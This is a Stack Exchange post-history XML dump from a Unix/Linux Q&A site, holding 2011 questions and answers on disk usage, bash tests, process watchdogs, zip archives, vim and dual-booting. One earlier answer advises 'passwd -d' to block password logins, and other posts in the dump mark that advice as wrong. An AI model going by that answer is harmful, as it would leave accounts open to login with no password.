  <row Id="17880" PostHistoryTypeId="2" PostId="7656" RevisionGUID="d896ca25-fb10-4716-b46d-bea5de8822b3" CreationDate="2011-02-18T20:39:00.070" UserId="4889" Text="Try difrent program,maybe this will be more accurate:&#xD;&#xA;df -h" />
  <row Id="17881" PostHistoryTypeId="2" PostId="7657" RevisionGUID="19ab5635-b1a2-4136-891a-65acf4d9e67d" CreationDate="2011-02-18T20:41:14.177" UserId="4143" Text="The equals operator does nothing in this case.&#xD;&#xA;&#xD;&#xA;The expression $S1=$S2 evaluates to an actual string, with the values of S1 and S2 in place, effectively the string literal &quot;foo=bar&quot;.&#xD;&#xA;&#xD;&#xA;Since this string literal is not null, the statement&#xD;&#xA;&#xD;&#xA;    if [ &quot;foo=bar&quot; ];&#xD;&#xA;&#xD;&#xA;evaluates to true, and the body of the if statement is executed." />
  <row Id="17882" PostHistoryTypeId="2" PostId="7658" RevisionGUID="99a6e58d-b582-475d-a3aa-c4e00e9171df" CreationDate="2011-02-18T20:43:43.737" UserId="3635" Text="A few years ago, a coworker came up with an elegant solution for a watchdog program. The program ran on Windows and used [Windows Event objects][1] to monitor the process handles (PID’s) of several applications. If any one of the processes terminated unexpectedly, its process handle would no longer exist and his watchdog would immediately be signaled. The watchdog would then take an appropriate action to “heal” the system.&#xD;&#xA;&#xD;&#xA;My question is, how would you implement such a watchdog on Linux? Is there a way for a single program to monitor the PID’s of many others?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms682655(v=vs.85).aspx" />
  <row Id="17883" PostHistoryTypeId="1" PostId="7658" RevisionGUID="99a6e58d-b582-475d-a3aa-c4e00e9171df" CreationDate="2011-02-18T20:43:43.737" UserId="3635" Text="Linux: Writing a watchdog to monitor multiple processes" />
  <row Id="17884" PostHistoryTypeId="3" PostId="7658" RevisionGUID="99a6e58d-b582-475d-a3aa-c4e00e9171df" CreationDate="2011-02-18T20:43:43.737" UserId="3635" Text="élinuxàéprocessàésynchronizationà" />
  <row Id="17885" PostHistoryTypeId="5" PostId="7656" RevisionGUID="51071bbc-8a39-4b96-a497-e0e37c136ab7" CreationDate="2011-02-18T20:48:11.607" UserId="73" Comment="added 12 characters in body" Text="Try a differfent program; maybe this will be more accurate:&#xD;&#xA;&#xD;&#xA;    df -h" />
  <row Id="17886" PostHistoryTypeId="2" PostId="7659" RevisionGUID="095ae6a3-a5ec-40c7-9e81-81b91c063b4d" CreationDate="2011-02-18T20:52:51.810" UserId="2511" Text="It's helpful to remember that `[` is actually a command, usually also available as `test` In bash, it's a builtin, so you can see the documentation with `man builtin`.&#xD;&#xA;&#xD;&#xA;In that documentaiton:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;              test and [ evaluate conditional expressions using a set of rules&#xD;&#xA;              based on the number of arguments.&#xD;&#xA;&#xD;&#xA;              0 arguments&#xD;&#xA;                     The expression is false.&#xD;&#xA;              1 argument&#xD;&#xA;                     The expression is true if and only if the argument is not&#xD;&#xA;                     null.&#xD;&#xA;              2 arguments&#xD;&#xA;                     [...]&#xD;&#xA;              3 arguments&#xD;&#xA;                     [...]&#xD;&#xA;&#xD;&#xA;The two-argument rules are various tests, and the three-argument ones are generally comparisons. When you put a space around the =, you get three arguments. But when you put it all together, you get *one* argument, and as you can see, if that argument isn't null, it returns true.&#xD;&#xA;                     &#xD;&#xA;" />
  <row Id="17888" PostHistoryTypeId="5" PostId="7642" RevisionGUID="79341bac-97a8-49d2-9429-2e6597c72945" CreationDate="2011-02-18T20:53:37.140" UserId="73" Comment="deleted 1 characters in body" Text="Hi I have a CentOS server based in Chicago which doesn't seem to be providing&#xD;&#xA;fast bandwidth connections to non local users.&#xD;&#xA;&#xD;&#xA;Is there anywhere on the server where this limitation may be configured?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I am relatively new to Linux so please forgive my ignorance on the matter)&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="17889" PostHistoryTypeId="6" PostId="7654" RevisionGUID="b4275185-bab4-4241-83f6-93cbc6d1f273" CreationDate="2011-02-18T21:04:14.540" UserId="885" Comment="edited tags" Text="épartitionàédisköusageàéext3à" />
  <row Id="17890" PostHistoryTypeId="2" PostId="7661" RevisionGUID="1bb7aef3-4d9b-46df-93af-2057d89bf005" CreationDate="2011-02-18T21:06:57.460" UserId="4892" Text="Hello,&#xD;&#xA;I am looking to reroute one particular URL to another, for example : &quot;http://website.com/page1.html&quot; to &quot;http://website.com/page2.html&quot; on a third party server only on my machine. But I still want it to reply as if it was page1.html. Is there a way to do that on a client UNIX ?&#xD;&#xA;Alex&#xD;&#xA;PS : If any clarification is required, please tell me" />
  <row Id="17891" PostHistoryTypeId="1" PostId="7661" RevisionGUID="1bb7aef3-4d9b-46df-93af-2057d89bf005" CreationDate="2011-02-18T21:06:57.460" UserId="4892" Text="Reroute one URL" />
  <row Id="17892" PostHistoryTypeId="3" PostId="7661" RevisionGUID="1bb7aef3-4d9b-46df-93af-2057d89bf005" CreationDate="2011-02-18T21:06:57.460" UserId="4892" Text="éunixàéurlà" />
  <row Id="17893" PostHistoryTypeId="6" PostId="7655" RevisionGUID="424aea49-32ae-47e1-afa5-1072407d65b3" CreationDate="2011-02-18T21:08:42.243" UserId="885" Comment="edited tags" Text="ébashàéshellàéscriptingà" />
  <row Id="17894" PostHistoryTypeId="5" PostId="7659" RevisionGUID="ab319495-1856-478f-a77c-3f495364d5d4" CreationDate="2011-02-18T21:14:39.420" UserId="2511" Comment="added 1 characters in body" Text="It's helpful to remember that `[` is actually a command, usually also available as `test`. In bash, it's a builtin, so you can see the documentation with `man builtin`.&#xD;&#xA;&#xD;&#xA;In that documentaiton:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;              test and [ evaluate conditional expressions using a set of rules&#xD;&#xA;              based on the number of arguments.&#xD;&#xA;&#xD;&#xA;              0 arguments&#xD;&#xA;                     The expression is false.&#xD;&#xA;              1 argument&#xD;&#xA;                     The expression is true if and only if the argument is not&#xD;&#xA;                     null.&#xD;&#xA;              2 arguments&#xD;&#xA;                     [...]&#xD;&#xA;              3 arguments&#xD;&#xA;                     [...]&#xD;&#xA;&#xD;&#xA;The two-argument rules are various tests, and the three-argument ones are generally comparisons. When you put a space around the =, you get three arguments. But when you put it all together, you get *one* argument, and as you can see, if that argument isn't null, it returns true.&#xD;&#xA;                     &#xD;&#xA;" />
  <row Id="17895" PostHistoryTypeId="2" PostId="7662" RevisionGUID="94e87c2b-0a15-47a2-93c3-be029d4c0c86" CreationDate="2011-02-18T21:34:56.167" UserId="885" Text="The traditional, portable, commonly-used way is that the parent process watches over its children.&#xD;&#xA;&#xD;&#xA;The basic primitives are the [`wait` and `waitpid`](http://pubs.opengroup.org/onlinepubs/009695399/functions/wait.html) system calls. When a child process dies, the parent process receives a `SIGCHLD` signal, telling it it should call `wait` to know which child died and its exit status. The parent process can instead choose to ignore `SIGCHLD` and call `waitpid(-1, &amp;status, WNOHANG)` at its convenience.&#xD;&#xA;&#xD;&#xA;To monitor many processes, you would either spawn them all from the same parent, or invoke them all through a simple monitoring process that just calls the desired program, waits for it to terminate and reports on the termination (in shell syntax: `myprogram; echo myprogram $? &gt;&gt;/var/run/monitor-collector-pipe`). If you're coming from the Windows world, note that having small programs doing one specialized task is a common design in the Unix world, the OS is designed to make processes cheap.&#xD;&#xA;&#xD;&#xA;There are many process monitoring (also called supervisor) programs that can report when a process dies and optionally restart it and far more besides: [Monit](http://mmonit.com/monit/), [Supervise](http://cr.yp.to/daemontools/supervise.html), [Upstart](http://upstart.ubuntu.com/), …&#xD;&#xA;" />
  <row Id="17896" PostHistoryTypeId="6" PostId="7658" RevisionGUID="87903d61-6c54-4a7f-867e-2db29984e2e3" CreationDate="2011-02-18T21:35:10.363" UserId="885" Comment="edited tags" Text="élinuxàéprocessàémonitoringà" />
  <row Id="17897" PostHistoryTypeId="5" PostId="7661" RevisionGUID="166971fc-1645-4856-ad76-4a69315ce5e2" CreationDate="2011-02-18T21:36:16.773" UserId="3635" Comment="Marked up the URL's, minor formatting changes" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am looking to reroute one particular URL to another, for example : `http://website.com/page1.html` to `http://website.com/page2.html` on a third party server only on my machine. But I still want it to reply as if it was page1.html. Is there a way to do that on a client UNIX ?&#xD;&#xA;&#xD;&#xA;Alex&#xD;&#xA;PS : If any clarification is required, please tell me" />
  <row Id="17898" PostHistoryTypeId="24" PostId="7661" RevisionGUID="64709a0f-736f-43dd-8903-7e717600d54b" CreationDate="2011-02-18T21:36:16.773" Comment="Proposed by 3635 approved by 885 edit id of 33" />
  <row Id="17899" PostHistoryTypeId="6" PostId="7661" RevisionGUID="8dee4866-6115-4990-852c-306a54edc73b" CreationDate="2011-02-18T21:36:58.427" UserId="885" Comment="edited tags" Text="ésoftwareörecàéproxyàéurlàéhttpà" />
  <row Id="17900" PostHistoryTypeId="17" PostId="7664" RevisionGUID="beb3d441-6d5f-4eba-9d82-8b57e8a9f541" CreationDate="2011-02-18T21:43:10.383" UserId="-1" Comment="from http://stackoverflow.com/questions/5046774/copy-a-file-from-one-zip-to-another/5046862#5046862" Text="" />
  <row Id="17901" PostHistoryTypeId="17" PostId="7665" RevisionGUID="84e70482-ea8a-4bab-823d-899053a88078" CreationDate="2011-02-18T21:43:10.383" UserId="-1" Comment="from http://stackoverflow.com/questions/5046774/copy-a-file-from-one-zip-to-another/5046863#5046863" Text="" />
  <row Id="17902" PostHistoryTypeId="2" PostId="7664" RevisionGUID="4341db53-d806-45f4-84a4-5220dab8d7eb" CreationDate="2011-02-18T21:37:18.570" UserDisplayName="Nikita Rybak" Text="Not sure about *adding* to archive, but you can always recreate one&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    unzip a.zip -d tmp&#xD;&#xA;    unzip b.zip -d tmp&#xD;&#xA;    zip -r c.zip tmp&#xD;&#xA;&#xD;&#xA;First two lines unpack archives into `tmp` dir and the third one packages it back." />
  <row Id="17903" PostHistoryTypeId="2" PostId="7665" RevisionGUID="b12f565f-0685-4679-ae18-fd98ed622a54" CreationDate="2011-02-18T21:37:20.147" UserDisplayName="Tom Morgan" Text="I'm going to say straightaway that I don't know the answer, from a practical point.&#xD;&#xA;&#xD;&#xA;However, from a theoretical viewpoint, surely you'd have to unzip and re-zip the files. You can't just move them in zipped-state, surely? For a start, you'd have to assume that both zip files had identical settings with regard to compression mode and level.&#xD;&#xA;&#xD;&#xA;You could possibly chain the unzip and zip commands together, but then that becomes a question of juggling around the commands on the command line, for which I shall defer to the *nix experts.&#xD;&#xA;&#xD;&#xA;I stand very ready to be corrected." />
  <row Id="17904" PostHistoryTypeId="2" PostId="7663" RevisionGUID="5294a859-6b2b-4712-a3ea-3f93a54d7a30" CreationDate="2011-02-18T21:29:25.450" UserId="3077" Text="I have a file named `'sourceZip.zip'`&#xD;&#xA;&#xD;&#xA;This file (`'sourceZip.zip'`) contains two files:&#xD;&#xA;&#xD;&#xA;`'textFile.txt'`&#xD;&#xA;&#xD;&#xA;`'binFile.bin'`&#xD;&#xA;&#xD;&#xA;___________________________________&#xD;&#xA;I also have a file named `'targetZip.zip'`&#xD;&#xA;&#xD;&#xA;This file (`'targetZip.zip'`) contains one file:&#xD;&#xA;&#xD;&#xA;`'jpgFile.jpg'`&#xD;&#xA;&#xD;&#xA;___________________________________&#xD;&#xA;&#xD;&#xA;In linux, what bash command shall I use to copy both files (`'textFile.txt'`, `'binFile.bin'`) from the source archive (`'sourceZip.zip'`) straight into the second archive (`'targetZip.zip'`), so that at the end of the process, the second archive (`'targetZip.zip'`) will include all three files?&#xD;&#xA;&#xD;&#xA;(ideally, this would be done in one command, using 'zip' or 'unzip')" />
  <row Id="17905" PostHistoryTypeId="1" PostId="7663" RevisionGUID="5294a859-6b2b-4712-a3ea-3f93a54d7a30" CreationDate="2011-02-18T21:29:25.450" UserId="3077" Text="Copy a File From One Zip to Another?" />
  <row Id="17906" PostHistoryTypeId="3" PostId="7663" RevisionGUID="5294a859-6b2b-4712-a3ea-3f93a54d7a30" CreationDate="2011-02-18T21:29:25.450" UserId="3077" Text="élinuxàébashàézipàéunzipà" />
  <row Id="17907" PostHistoryTypeId="17" PostId="7663" RevisionGUID="30ee27fc-697d-411c-9941-a9103ceb9589" CreationDate="2011-02-18T21:43:10.383" UserId="-1" Comment="from http://stackoverflow.com/questions/5046774/copy-a-file-from-one-zip-to-another" Text="" />
  <row Id="17909" PostHistoryTypeId="2" PostId="7666" RevisionGUID="cd3876fe-14ca-48fb-9604-e30a9369886e" CreationDate="2011-02-18T22:20:13.793" UserId="4196" Text="`Disk Usage Analyzer` counts up the amount of space in use by all the files.  Something like `df` asks the filesystem how much space is in use.  These two amounts can be very different depending on e.g. how many deleted, but still open, files are on the filesystem.&#xD;&#xA;&#xD;&#xA;e.g. if you do something like this:&#xD;&#xA;&#xD;&#xA;    $ dd if=/dev/zero of=largefile bs=1M count=1024&#xD;&#xA;    $ python -c 'import time; x = open(&quot;largefile'); time.sleep(600)' &amp;&#xD;&#xA;    $ rm largefile&#xD;&#xA;&#xD;&#xA;You will see that the 1GB of space is still shown by `df`, but not by `Disk Usage Analyzer`.  This is because while the file is still open, it is not actually removed from disk.  When the python script finishes, the filesystem will free up the space.&#xD;&#xA;&#xD;&#xA;I'm not sure if the above explains your 4.4G to 9G discrepancy, though!" />
  <row Id="17910" PostHistoryTypeId="2" PostId="7667" RevisionGUID="97c55d63-f28e-460b-98b0-b538f11865ef" CreationDate="2011-02-18T22:25:48.813" UserId="4142" Text="This is plain wrong, at least on Fedora. If you remove the password with &lt;code&gt;passwd -d&lt;/code&gt;, it means anyone can login to that user (on console or graphical) providing no password. &#xD;&#xA;&#xD;&#xA;The correct answer to block logins with password authentication is to run &lt;code&gt;passwd -l&lt;/code&gt;, which locks the account making it available to the root user only. The locking is performed by rendering the encrypted password into an invalid string (by prefixing the encrypted string with an !).&#xD;&#xA;&#xD;&#xA;Any login attempt, local or remote, will result in an *&quot;incorrect password&quot;*, while public key login will still be working. The account can then be unlocked with &lt;code&gt;passwd -u&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;If you want to completely lock an account without deleting it, edit &lt;code&gt;/etc/passwd&lt;/code&gt; and set &lt;code&gt;/sbin/nologin&lt;/code&gt; or &lt;code&gt;/bin/false&lt;/code&gt; in the last field. This will result in *&quot;This account is currently not available.&quot;* for any login attemp.&#xD;&#xA;&#xD;&#xA;Please refer to passwd(1) man page." />
  <row Id="17911" PostHistoryTypeId="2" PostId="7668" RevisionGUID="ccafba15-0fe4-4e96-a30d-79732e1209f5" CreationDate="2011-02-18T22:27:49.017" UserId="885" Text="Using the usual command-line `zip` tool, I don't think you can avoid separate extraction and update commands.&#xD;&#xA;&#xD;&#xA;    source_zip=$PWD/sourceZip.zip&#xD;&#xA;    target_zip=$PWD/targetZip.zip&#xD;&#xA;    temp_dir=$(mktemp -dt)&#xD;&#xA;    ( cd &quot;$temp_dir&quot;&#xD;&#xA;      unzip &quot;$source_zip&quot;&#xD;&#xA;      zip -g &quot;$targetZip&quot; .&#xD;&#xA;      # or if you want just the two files: zip -g &quot;$targetZip&quot; textFile.txt binFile.bin&#xD;&#xA;    )&#xD;&#xA;    rm -rf &quot;$temp_dir&quot;&#xD;&#xA;&#xD;&#xA;There are other languages with more convenient zip file manipulation libraries. For example, Perl with [Archive::Zip](http://search.cpan.org/perldoc?Archive::Zip). Error checking omitted.&#xD;&#xA;&#xD;&#xA;    use Archive::Zip;&#xD;&#xA;    my $source_zip = Archive::Zip-&gt;new(&quot;sourceZip.zip&quot;);&#xD;&#xA;    my $target_zip = Archive::Zip-&gt;new(&quot;targetZip.zip&quot;);&#xD;&#xA;    for my $member ($source_zip-&gt;members()) {&#xD;&#xA;              # or (map {$source_zip-&gt;memberNamed($_)} (&quot;textFile.txt&quot;, &quot;binFile.bin&quot;))&#xD;&#xA;        $target_zip-&gt;addMember($member);&#xD;&#xA;    }&#xD;&#xA;    $target_zip-&gt;overwrite();&#xD;&#xA;&#xD;&#xA;Another way is to mount the zip files as directories. Mounting either of the zip files is enough, you can use `zip` or `unzip` on the other side. [Avfs](http://avf.sourceforge.net/) provides read-only support for many archive formats.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    target_zip=$PWD/targetZip.zip&#xD;&#xA;    (cd &quot;$HOME/.avfs$PWD/sourceZip.zip#&quot; &amp;&amp;&#xD;&#xA;     zip -g &quot;$target_zip&quot; .)  # or list the files, as above&#xD;&#xA;    umountavfs&#xD;&#xA;&#xD;&#xA;[Fuse-zip](http://code.google.com/p/fuse-zip) provides read-write access to zip archives, so you can copy the files with `cp`.&#xD;&#xA;&#xD;&#xA;    source_dir=$(mktemp -dt)&#xD;&#xA;    target_dir=$(mktemp -dt)&#xD;&#xA;    fuse-zip sourceZip.zip &quot;$source_dir&quot;&#xD;&#xA;    fuse-zip targetZip.zip &quot;$target_dir&quot;&#xD;&#xA;    cp -Rp &quot;$source_dir/.&quot; &quot;$target_dir&quot; # or list the files, as above&#xD;&#xA;    fusermount -u &quot;$source_dir&quot;&#xD;&#xA;    fusermount -u &quot;$target_dir&quot;&#xD;&#xA;    rmdir &quot;$source_dir&quot; &quot;$target_dir&quot;&#xD;&#xA;&#xD;&#xA;Warning: I typed these scripts directly in my browser. Use at your own risk.&#xD;&#xA;" />
  <row Id="17912" PostHistoryTypeId="6" PostId="7663" RevisionGUID="00b65b35-8619-4613-977a-c22e3ca28b9b" CreationDate="2011-02-18T22:28:30.063" UserId="885" Comment="edited tags" Text="élinuxàébashàéscriptingàéfileömanagementàézipà" />
  <row Id="17913" PostHistoryTypeId="5" PostId="7286" RevisionGUID="507679d7-b56b-4c23-bbc7-f274ea1df49d" CreationDate="2011-02-18T22:35:41.850" UserId="885" Comment="added a warning, because this answer is wrong, with a major security implication" Text="**Note that this answer does the opposite of what is required: it allows logins without typing a password.**&#xD;&#xA;&#xD;&#xA;Just don't set password for user. If there is already a password remove it by using `passwd -d &lt;username&gt;`.&#xD;&#xA;&#xD;&#xA;But it would be still possible to log in as this user - by using authorized_keys, or via su or sudo from some privileged account." />
  <row Id="17914" PostHistoryTypeId="5" PostId="7617" RevisionGUID="d4456478-e429-4848-bce5-1bb0da9445bb" CreationDate="2011-02-18T22:45:15.133" UserId="3635" Comment="Marked up the example text content." Text="When I am editing a LaTeX document in vim, often times I want to search for a phrase.  Because I have LaTeX setup to wrap lines, sometimes half of the phrase will be on one line while the other half is on the next.  In such a case, the search does not find what I'm looking for.  So for example&#xD;&#xA;&#xD;&#xA;    blah blah blah hello&lt;br/&gt;&#xD;&#xA;    world blah blah blah&#xD;&#xA;&#xD;&#xA;when searching using `/hello world`, I don't find what I'm looking for.  Is there a quick and easy way to modify this search to get me where I want to be?  Or better yet, a way to tell vim to match any white space (space, tab, new line) with a space in the search string?" />
  <row Id="17915" PostHistoryTypeId="24" PostId="7617" RevisionGUID="7e6ffe66-e496-4b85-990c-cff9f434d659" CreationDate="2011-02-18T22:45:15.133" Comment="Proposed by 3635 approved by 885 edit id of 34" />
  <row Id="17916" PostHistoryTypeId="5" PostId="7667" RevisionGUID="371e74f7-406f-43a0-ac1e-5770f3111fa1" CreationDate="2011-02-18T22:45:28.593" UserId="4142" Comment="edit as suggested in a comment" Text="Use of &lt;code&gt;passwd -d&lt;/code&gt; is plain wrong &lt;s&gt;, at least on Fedora&lt;/s&gt;, on any linux distro based on shadow-utils. If you remove the password with &lt;code&gt;passwd -d&lt;/code&gt;, it means anyone can login to that user (on console or graphical) providing no password. &#xD;&#xA;&#xD;&#xA;In order to block logins with password authentication, run &lt;code&gt;passwd -l *username*&lt;/code&gt;, which locks the account making it available to the root user only. The locking is performed by rendering the encrypted password into an invalid string (by prefixing the encrypted string with an !).&#xD;&#xA;&#xD;&#xA;Any login attempt, local or remote, will result in an *&quot;incorrect password&quot;*, while public key login will still be working. The account can then be unlocked with &lt;code&gt;passwd -u *username*&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;If you want to completely lock an account without deleting it, edit &lt;code&gt;/etc/passwd&lt;/code&gt; and set &lt;code&gt;/sbin/nologin&lt;/code&gt; or &lt;code&gt;/bin/false&lt;/code&gt; in the last field. This will result in *&quot;This account is currently not available.&quot;* for any login attemp.&#xD;&#xA;&#xD;&#xA;Please refer to passwd(1) man page." />
  <row Id="17917" PostHistoryTypeId="5" PostId="7617" RevisionGUID="37520144-ba52-4823-91eb-3c555e3d7289" CreationDate="2011-02-18T22:45:35.383" UserId="885" Comment="deleted 5 characters in body" Text="When I am editing a LaTeX document in vim, often times I want to search for a phrase.  Because I have LaTeX setup to wrap lines, sometimes half of the phrase will be on one line while the other half is on the next.  In such a case, the search does not find what I'm looking for.  So for example&#xD;&#xA;&#xD;&#xA;    blah blah blah hello&#xD;&#xA;    world blah blah blah&#xD;&#xA;&#xD;&#xA;when searching using `/hello world`, I don't find what I'm looking for.  Is there a quick and easy way to modify this search to get me where I want to be?  Or better yet, a way to tell vim to match any white space (space, tab, new line) with a space in the search string?" />
  <row Id="17918" PostHistoryTypeId="25" PostId="7663" RevisionGUID="4823272a-0822-4299-8ab7-94f825492a3d" CreationDate="2011-02-18T23:23:10.590" Comment="http://twitter.com/#!/StackUnix/status/38740332778766337" />
  <row Id="17919" PostHistoryTypeId="25" PostId="7655" RevisionGUID="2256a75e-4236-4811-b355-6e5035f3dbee" CreationDate="2011-02-19T02:23:10.810" Comment="http://twitter.com/#!/StackUnix/status/38785635305136128" />
  <row Id="17920" PostHistoryTypeId="25" PostId="7658" RevisionGUID="ab5dee48-68f0-454d-98d6-0713387b5292" CreationDate="2011-02-19T05:23:11.710" Comment="http://twitter.com/#!/StackUnix/status/38830935843680256" />
  <row Id="17921" PostHistoryTypeId="25" PostId="7654" RevisionGUID="d00183b9-30e3-4e18-8856-dc1ff6667886" CreationDate="2011-02-19T08:23:11.677" Comment="http://twitter.com/#!/StackUnix/status/38876235832500224" />
  <row Id="17922" PostHistoryTypeId="25" PostId="7586" RevisionGUID="23230a53-46ef-44dd-8d1d-d7a73e54cff8" CreationDate="2011-02-19T11:23:12.387" Comment="http://twitter.com/#!/StackUnix/status/38921536748531712" />
  <row Id="17923" PostHistoryTypeId="2" PostId="7669" RevisionGUID="90a33981-1a1b-4a18-961e-368fd26ea3cd" CreationDate="2011-02-19T12:35:24.683" UserId="3879" Text="If you have large number of deleted files in your Trash, that could account for the difference what you see with Nautilus and `df -h`." />
  <row Id="17924" PostHistoryTypeId="2" PostId="7670" RevisionGUID="4e7fc05d-e7b2-4f6e-8a79-bcc6c01b2bc2" CreationDate="2011-02-19T13:35:17.890" UserId="1535" Text="When running X I use a .xmodmaprc to remap certain keys thusly:&#xD;&#xA;&#xD;&#xA;    clear Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;    ! Remap the menu key as Compose&#xD;&#xA;    keysym Menu = Multi_key&#xD;&#xA;&#xD;&#xA;How can I accomplish the same things on the console?" />
  <row Id="17925" PostHistoryTypeId="1" PostId="7670" RevisionGUID="4e7fc05d-e7b2-4f6e-8a79-bcc6c01b2bc2" CreationDate="2011-02-19T13:35:17.890" UserId="1535" Text="Remapping caps-lock to escape, and menu to compose, on the linux console" />
  <row Id="17926" PostHistoryTypeId="3" PostId="7670" RevisionGUID="4e7fc05d-e7b2-4f6e-8a79-bcc6c01b2bc2" CreationDate="2011-02-19T13:35:17.890" UserId="1535" Text="élinuxàéterminalàékeyboardàéxmodmapà" />
  <row Id="17927" PostHistoryTypeId="2" PostId="7671" RevisionGUID="8511f1c2-2f1f-4944-9b80-761518f46b2a" CreationDate="2011-02-19T13:48:30.043" UserId="4902" Text="Kernel 2.6.38 and above will support AMD Fusion Ontario and Zacate APUs." />
  <row Id="17928" PostHistoryTypeId="25" PostId="7670" RevisionGUID="c57ec610-cfca-47b5-8bc7-e58067765206" CreationDate="2011-02-19T14:23:13.467" Comment="http://twitter.com/#!/StackUnix/status/38966838977249280" />
  <row Id="17929" PostHistoryTypeId="2" PostId="7672" RevisionGUID="8cf05214-e164-4fe0-a491-6be1fee33507" CreationDate="2011-02-19T14:46:10.970" UserId="250" Text="To use Vim as a pager for man I have&#xD;&#xA;&#xD;&#xA;    export MANPAGER=&quot;/usr/share/vim/vim73/macros/manpager.sh&quot;&#xD;&#xA;&#xD;&#xA;in my profile. Now man pages look very good with colors and stuff. However, when trying `man ascii` as a way of looking at the ASCII table, I notice that the table is mis-aligned as in the screenshot below:&#xD;&#xA;&#xD;&#xA;![Messed up ASCII table][1]&#xD;&#xA;&#xD;&#xA;This problem doesn't happen to the default pager. When I set `export MANPAGER=&quot;view -&quot;` the table is also correct, so something must be wrong with the `manpager.sh` script:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    sed -e 's/\x1B\[[[:digit:]]\+m//g' | col -b | \&#xD;&#xA;    vim \&#xD;&#xA;        -c 'let no_plugin_maps = 1' \&#xD;&#xA;        -c 'set nolist nomod ft=man' \&#xD;&#xA;        -c 'let g:showmarks_enable=0' \&#xD;&#xA;        -c 'runtime! macros/less.vim' -&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/nBjem.png" />
  <row Id="17930" PostHistoryTypeId="1" PostId="7672" RevisionGUID="8cf05214-e164-4fe0-a491-6be1fee33507" CreationDate="2011-02-19T14:46:10.970" UserId="250" Text="`man ascii` is misaligned when using vim as a pager" />
  <row Id="17931" PostHistoryTypeId="3" PostId="7672" RevisionGUID="8cf05214-e164-4fe0-a491-6be1fee33507" CreationDate="2011-02-19T14:46:10.970" UserId="250" Text="évimàémanàépagerà" />
  <row Id="17932" PostHistoryTypeId="2" PostId="7673" RevisionGUID="9326f9f7-8dfe-43fe-bbef-b2e1fc183289" CreationDate="2011-02-19T14:42:43.377" UserId="4868" Text="![my machine's partition table][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/E4hvm.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I just want to install another version of same distro linux into the extended partition, i. e. into the /dev/sda7.&#xD;&#xA;&#xD;&#xA;Does it make any problem into current Linux and its data and contents?&#xD;&#xA;If no, I can dual boot into two distro's after installation right?&#xD;&#xA;&#xD;&#xA;Also , how can I efficiently mount the / and /home for the new installation?&#xD;&#xA;&#xD;&#xA;All suggestions are welcome" />
  <row Id="17933" PostHistoryTypeId="1" PostId="7673" RevisionGUID="9326f9f7-8dfe-43fe-bbef-b2e1fc183289" CreationDate="2011-02-19T14:42:43.377" UserId="4868" Text="Linux installation on an extended drive related" />
  <row Id="17934" PostHistoryTypeId="3" PostId="7673" RevisionGUID="9326f9f7-8dfe-43fe-bbef-b2e1fc183289" CreationDate="2011-02-19T14:42:43.377" UserId="4868" Text="élinuxà" />
  <row Id="17935" PostHistoryTypeId="17" PostId="7673" RevisionGUID="74b36093-4a00-4329-92e4-df505b216805" CreationDate="2011-02-19T14:52:09.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5051405/linux-installation-on-an-extended-drive-related" Text="" />
  <row Id="17936" PostHistoryTypeId="2" PostId="7674" RevisionGUID="83a1116b-d0d7-422c-b5e0-9e1ebd3bf92f" CreationDate="2011-02-19T15:07:57.857" UserId="885" Text="Having multiple Linux installations on the same disk is not a problem. The installer should get everything right, though this depends on your distribution (which you don't specify). With “automated” distributions such as Ubuntu, you may just need to answer one or two questions; with “hands-on” distributions such as Arch, you may need to configure a couple of things manually.&#xD;&#xA;&#xD;&#xA;There's no risk of losing any data as long as you're careful not to tell the installer to overwrite your existing installation (double-check all partition numbers). I recommend deleting `/dev/sda7` now, that way you can just tell the installer to install in the free space.&#xD;&#xA;&#xD;&#xA;Only one of the distributions will manage the bootloader. It can be either the old one of the new one. Older BIOSes require the bootloader to be near the beginning of the drive; I don't know the exact timeline but if your 500GB drive was sold with your computer.&#xD;&#xA;&#xD;&#xA;If the installer doesn't add mount points for your existing system, add them yourself to `/etc/fstab`. You'll probably want to do that on the existing installation anyway. An entry in `/etc/fstab` looks like this:&#xD;&#xA;&#xD;&#xA;    /dev/sda7  /media/linux2  auto  defaults&#xD;&#xA;&#xD;&#xA;Replace `defaults` by `ro` if you want to mount read-only, or by `noauto` if you don't want the filesystem to be mounted at boot time but want to be able to mount it with the command `mount /media/linux2`. If you want both options, it's a comma-separated list: `noauto,ro`.&#xD;&#xA;" />
  <row Id="17937" PostHistoryTypeId="6" PostId="7673" RevisionGUID="9e6f5366-8cfa-4a64-9ad9-0198a623bee3" CreationDate="2011-02-19T15:08:13.347" UserId="885" Comment="edited tags" Text="élinuxàédualöbootà" />
  <row Id="17938" PostHistoryTypeId="2" PostId="7675" RevisionGUID="356fb540-8244-40c2-aa32-288cfe784678" CreationDate="2011-02-19T15:12:07.170" UserId="250" Text="When I try with the following script things are normal:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    sed -e 's/\x1B\[[[:digit:]]\+m//g' | \&#xD;&#xA;    vim \&#xD;&#xA;        -c 'let no_plugin_maps = 1' \&#xD;&#xA;        -c 'set nolist nomod ft=man' \&#xD;&#xA;        -c 'let g:showmarks_enable=0' \&#xD;&#xA;        -c 'runtime! macros/less.vim' -&#xD;&#xA;&#xD;&#xA;I'm not sure what role `col` plays in the sequence, but it is certainly messing up the spaces. Until somebody gives a better solution, this will be my fix." />
